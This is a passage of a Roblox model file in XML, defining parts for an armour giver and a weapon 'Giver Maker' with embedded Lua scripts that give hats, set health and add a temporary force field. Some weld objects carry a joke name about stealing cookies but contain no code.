						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4476">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4477">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5</X>
							<Y>13.4000006</Y>
							<Z>99</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4478">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX4479">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">READ ME FOR INSTRUCTIONS</string>
						<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX4480">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-56.5</X>
						<Y>7</Y>
						<Z>98.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Vor-Tech Armour Giver</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>5</X>
						<Y>0.400000006</Y>
						<Z>5</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX4481">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">TorsoBoxU</string>
						<ProtectedString name="Source">-- Guide to how to make a hat giver.

-- To adjust where your hat will be postioned on your head, go to the script line that says &quot;h.AttachmentPos = Vector3.new(0,0,0)
-- The first number in the (0,0,0) will make your hat go to the left, or to the right, making the number positive will make your hat be
-- placed to the left, making it negative( ex. &quot;-1&quot;) will make it be placed to the right. If your hat is pretty semetrical, you wont have to
-- adjust the first number, it stays usually in the middle, a zero.

-- The middle number adjusts how high/low the hat will be placed on the head. The higher the number is, the lower the hat will be
-- placed. If  you are at zero, and you want the hat to go  lower, make the number a negative. Negative numbers will make the hat
-- be place higher on your robloxian head.

-- The third number determines how far ahead/back your hat will be placed. Making the number positive will place the hat ahead of 
-- you, while making the number negative will place the hat behind you some.

-- NOTE, on the first, and last numbers, the ones that make your hat go left/right/ahead/back shouldn&apos;t be changed by whole numbers
-- to make your hat giver perfect, if you have to use those two numbers, move it slowly by &quot;.1&apos;s&quot;
-- This can also go for the middle number. If your hat is slightly higher than its supposed to be, than edit the number slightly. 
-- Do not change the numbers by whole numbers, or else it will go really far off.  Change the numbers by &quot;.1&apos;s&quot; and &quot;.2&apos;s&quot;



-- If you want to after how many seconds can you get another hat on your head, change the line that says &quot;wait(5)&quot;
-- Changing this will change after how many seconds can someone touch the giver, and get a hat. It&apos;s best to leave it as it is, 
-- Changing it really doesnt matter.

-- In build mode, after every time you change this script, copy the script, delete it, and paste it back into your hat, if you don&apos;t, 
-- nothing will change, I don&apos;t know why, but this is how I make my givers.

-- If you want to change the hat that you are trying on, change the &quot;Mesh&quot; Just delete the one in the brick that this script is in,
-- and copy a mesh from a different hat, that you want to try on with this script.

-- Do not rename the name of the &quot;Mesh&quot;, leave it saying Mesh, or the giver wont work.


-- Ask any questions here:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=13178947


-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;TorsoPartU&quot;   -- It doesn&apos;t make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Torso&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(2,2,1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		p.BrickColor = BrickColor.new(&quot;Black&quot;)
		M = Instance.new(&quot;SpecialMesh&quot;)
		M.MeshType = (&quot;Torso&quot;)
		M.Parent = p
		M.Scale = Vector3.new(1,0.51,1.1)
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 1.5, 0) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

-- Script Guide by HatHelper</ProtectedString>
					</Properties>
					<Item class="StockSound" referent="RBX4482">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">5rduz2</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX4483">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">TorsoBoxL</string>
						<ProtectedString name="Source">-- Guide to how to make a hat giver.

-- To adjust where your hat will be postioned on your head, go to the script line that says &quot;h.AttachmentPos = Vector3.new(0,0,0)
-- The first number in the (0,0,0) will make your hat go to the left, or to the right, making the number positive will make your hat be
-- placed to the left, making it negative( ex. &quot;-1&quot;) will make it be placed to the right. If your hat is pretty semetrical, you wont have to
-- adjust the first number, it stays usually in the middle, a zero.

-- The middle number adjusts how high/low the hat will be placed on the head. The higher the number is, the lower the hat will be
-- placed. If  you are at zero, and you want the hat to go  lower, make the number a negative. Negative numbers will make the hat
-- be place higher on your robloxian head.

-- The third number determines how far ahead/back your hat will be placed. Making the number positive will place the hat ahead of 
-- you, while making the number negative will place the hat behind you some.

-- NOTE, on the first, and last numbers, the ones that make your hat go left/right/ahead/back shouldn&apos;t be changed by whole numbers
-- to make your hat giver perfect, if you have to use those two numbers, move it slowly by &quot;.1&apos;s&quot;
-- This can also go for the middle number. If your hat is slightly higher than its supposed to be, than edit the number slightly. 
-- Do not change the numbers by whole numbers, or else it will go really far off.  Change the numbers by &quot;.1&apos;s&quot; and &quot;.2&apos;s&quot;



-- If you want to after how many seconds can you get another hat on your head, change the line that says &quot;wait(5)&quot;
-- Changing this will change after how many seconds can someone touch the giver, and get a hat. It&apos;s best to leave it as it is, 
-- Changing it really doesnt matter.

-- In build mode, after every time you change this script, copy the script, delete it, and paste it back into your hat, if you don&apos;t, 
-- nothing will change, I don&apos;t know why, but this is how I make my givers.

-- If you want to change the hat that you are trying on, change the &quot;Mesh&quot; Just delete the one in the brick that this script is in,
-- and copy a mesh from a different hat, that you want to try on with this script.

-- Do not rename the name of the &quot;Mesh&quot;, leave it saying Mesh, or the giver wont work.


-- Ask any questions here:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=13178947


-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;TorsoPartL&quot;   -- It doesn&apos;t make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Torso&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(2,2,1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		p.BrickColor = BrickColor.new(&quot;Black&quot;)
		M = Instance.new(&quot;BlockMesh&quot;)
		M.Parent = p
		M.Scale = Vector3.new(1.01,0.51,1.1)
		d = Instance.new(&quot;Decal&quot;)
		d.Parent = p
		d.Texture = (&quot;http://www.roblox.com/asset/?id=24803239&quot;)
		d.Face = (&quot;Back&quot;)
		d2 = Instance.new(&quot;Decal&quot;)
		d2.Parent = p
		d2.Texture = (&quot;http://www.roblox.com/asset/?id=24803239&quot;)
		d2.Face = (&quot;Front&quot;)
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 2.5, 0) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

-- Script Guide by HatHelper</ProtectedString>
					</Properties>
					<Item class="StockSound" referent="RBX4484">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">5rduz2</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX4485">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Health</string>
						<ProtectedString name="Source">function onTouched(hit)
	if hit.Parent.Humanoid ~= nil then
		hit.Parent.Humanoid.MaxHealth = (150)
		hit.Parent.Humanoid.Health = (145)
	end
	if hit.Parent.Humanoid == nil then return end
end

script.Parent.Touched:connect(onTouched)
</ProtectedString>
					</Properties>
					<Item class="Timer" referent="RBX4486">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">y1wq209hw</string>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX4487">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ForceField</string>
						<ProtectedString name="Source">function onTouched(hit)
	if hit.Parent.Humanoid ~= nil then
		ff = Instance.new(&quot;ForceField&quot;)
		ff.Parent = hit.Parent
		wait(3)
		hit.Parent.ForceField:Remove()
	end
	if hit.Parent.Humanoid == nil then return end
end

script.Parent.Touched:connect(onTouched)
</ProtectedString>
					</Properties>
					<Item class="Timer" referent="RBX4488">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">y1wq209hw</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4489">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Giver Maker</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4490">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-56.5</X>
							<Y>9.80976391</Y>
							<Z>83.4949417</Z>
							<R00>-8.34465027e-007</R00>
							<R01>8.34465027e-007</R01>
							<R02>-1</R02>
							<R10>0.00222605467</R10>
							<R11>0.999997556</R11>
							<R12>8.34465027e-007</R12>
							<R20>0.999997556</R20>
							<R21>-0.00222608447</R21>
							<R22>-8.34465027e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4491">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4492">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-57.5</X>
							<Y>9.81406784</Y>
							<Z>85.4949036</Z>
							<R00>0.999999702</R00>
							<R01>1.34764032e-005</R01>
							<R02>-1.13149435e-005</R02>
							<R10>-1.34527554e-005</R10>
							<R11>0.999997497</R11>
							<R12>0.0022491673</R12>
							<R20>1.13433716e-005</R20>
							<R21>-0.00224919757</R21>
							<R22>0.999997199</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4493">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4494">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-55.4997253</X>
							<Y>9.51474953</Y>
							<Z>83.4936142</Z>
							<R00>-0.999998748</R00>
							<R01>4.39927098e-005</R01>
							<R02>1.13193146e-005</R02>
							<R10>4.39706891e-005</R10>
							<R11>0.999997854</R11>
							<R12>-0.00209657545</R12>
							<R20>-1.14096738e-005</R20>
							<R21>-0.00209660758</R21>
							<R22>-0.999996603</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Put the weapon in this brick</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4495">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4496">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-59.5</X>
							<Y>9.80976582</Y>
							<Z>83.4949417</Z>
							<R00>-8.34465027e-007</R00>
							<R01>8.34465027e-007</R01>
							<R02>-1</R02>
							<R10>0.00222605467</R10>
							<R11>0.999997556</R11>
							<R12>8.34465027e-007</R12>
							<R20>0.999997556</R20>
							<R21>-0.00222608447</R21>
							<R22>-8.34465027e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4497">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4498">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-57.499939</X>
							<Y>9.80507183</Y>
							<Z>81.4949188</Z>
							<R00>0.999999702</R00>
							<R01>1.34764032e-005</R01>
							<R02>-1.13149435e-005</R02>
							<R10>-1.34527554e-005</R10>
							<R11>0.999997497</R11>
							<R12>0.0022491673</R12>
							<R20>1.13433716e-005</R20>
							<R21>-0.00224919757</R21>
							<R22>0.999997199</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
